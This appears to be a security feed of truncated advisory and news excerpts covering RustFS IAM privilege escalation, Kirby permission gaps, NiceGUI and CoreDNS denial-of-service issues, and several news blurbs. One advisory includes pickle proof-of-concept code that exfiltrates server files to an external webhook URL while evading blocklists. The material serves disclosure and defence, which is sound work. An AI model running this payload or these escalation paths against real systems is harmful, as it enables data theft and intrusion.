#auth

## Summary A flawed `deny_only` short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions. ## Details **akin to MinIO CVE-2025-62506** - Policy evaluation: `Policy::is_allowed` returns true when `deny_only=true` if no explicit Deny is hit, skipping all Allow checks (`crates/policy/src/policy/policy.rs:66-74`). - Service account creation path sets `deny_only=true` when the target user equals the caller or its parent (`rustfs/src/admin/handlers/service_account.rs:114-127`). - Service accounts are created without `session_policy` by default, so claims lack `SESSION_POLICY_NAME`; combined with `deny_only`, self-operations are allowed without Allow statements. - Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), ...

### Summary The `ImportIam` admin API validates permissions using **`ExportIAMAction`** instead of **`ImportIAMAction`**, allowing a principal with *export-only* IAM permissions to perform *import* operations. Since importing IAM data performs privileged **write** actions (creating/updating users, groups, policies, and service accounts), this can lead to **unauthorized IAM modification and privilege escalation**. --- ### Details In `ImportIam`, the authorization check is implemented as follows: ```rust validate_admin_request( &req.headers, &cred, owner, false, vec![Action::AdminAction(AdminAction::ExportIAMAction)], ).await?; ``` However, this code resides in the **Import IAM** operation (`struct ImportIam {}`), which performs **state-changing IAM writes**. The expected behavior is to validate against **`AdminAction::ImportIAMAction`** (or an equivalent import-specific admin action), not `ExportIAMAction`. --- ### PoC **Prerequisites** 1. A RustFS deploym...

### TL;DR This vulnerability affects all Kirby sites where user permissions are configured to prevent specific role(s) from performing write actions, specifically by disabling the `update` permission with the intent to prevent modifications to site content. If developers haven't configured any user permissions that deviate from the default of allowing all actions, their site is *not* affected. ---- ### Introduction Kirby allows to restrict the permissions of specific user roles. Users of that role can only perform permitted actions. Permissions for updating content have already existed and could be configured for each model type, but were not enforced by Kirby's API backend code during operations to the changes version. The changes version is the content version that contains unsaved changes of existing models (pages, users, files or the site). ### Impact The missing permission checks allowed attackers with Panel access to create or discard a changes version or update the cont...

### Summary An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. **NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.** ### Details When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92. Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached. ### PoC #### Test ...

Multiple CoreDNS server implementations (gRPC, HTTPS, and HTTP/3) lack critical resource-limiting controls. An unauthenticated remote attacker can exhaust memory and degrade or crash the server by opening many concurrent connections, streams, or sending oversized request bodies. The issue is similar in nature to CVE-2025-47950 (QUIC DoS) but affects additional server types that do not enforce connection limits, stream limits, or message size constraints. ### Impact #### 1. Missing connection and stream limits (gRPC / HTTPS / HTTP3) The affected servers do not enforce reasonable upper bounds on concurrent connections or active streams. An attacker can: - Open many parallel connections - Rapidly issue requests without limit - Consume memory until the CoreDNS process becomes unresponsive or is terminated by the OOM killer Testing demonstrates that modest resource configurations (e.g., 256 MB RAM) can be exhausted quickly. Increasing concurrency parameters in the PoCs allows attackers...

A critical vulnerability (CVE-2026-21877) found by Upwind affects n8n automation tools. Learn why researchers are urging users to update to version 1.121.3 immediately to prevent remote code execution.

Talos' editor ditches the pressure of traditional New Year’s resolutions in favor of practical, in-the-moment changes, and finds more success by letting go of perfection. Plus, we break down the latest on UAT-7290, a newly disclosed threat actor targeting critical infrastructure.

### Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server. ### Details The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features: 1. io.FileIO: Opens local files without using builtins.open. 2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request. 3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling. ### PoC ```python import pickle, io, urllib.request class GetFile: def __reduce__(self): return (io.FileIO, ('/etc/hosts', 'r')) class Exfiltrate: def __reduce__(self): return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile())) wi...

Cybersecurity researchers have disclosed details of a new campaign that uses WhatsApp as a distribution vector for a Windows banking trojan called Astaroth in attacks targeting Brazil. The campaign has been codenamed Boto Cor-de-Rosa by Acronis Threat Research Unit. "The malware retrieves the victim's WhatsApp contact list and automatically sends malicious messages to each contact to further

Two actively exploited flaws—one brand new, one 16 years old—have been added to CISA’s KEV catalog, signaling urgent patching.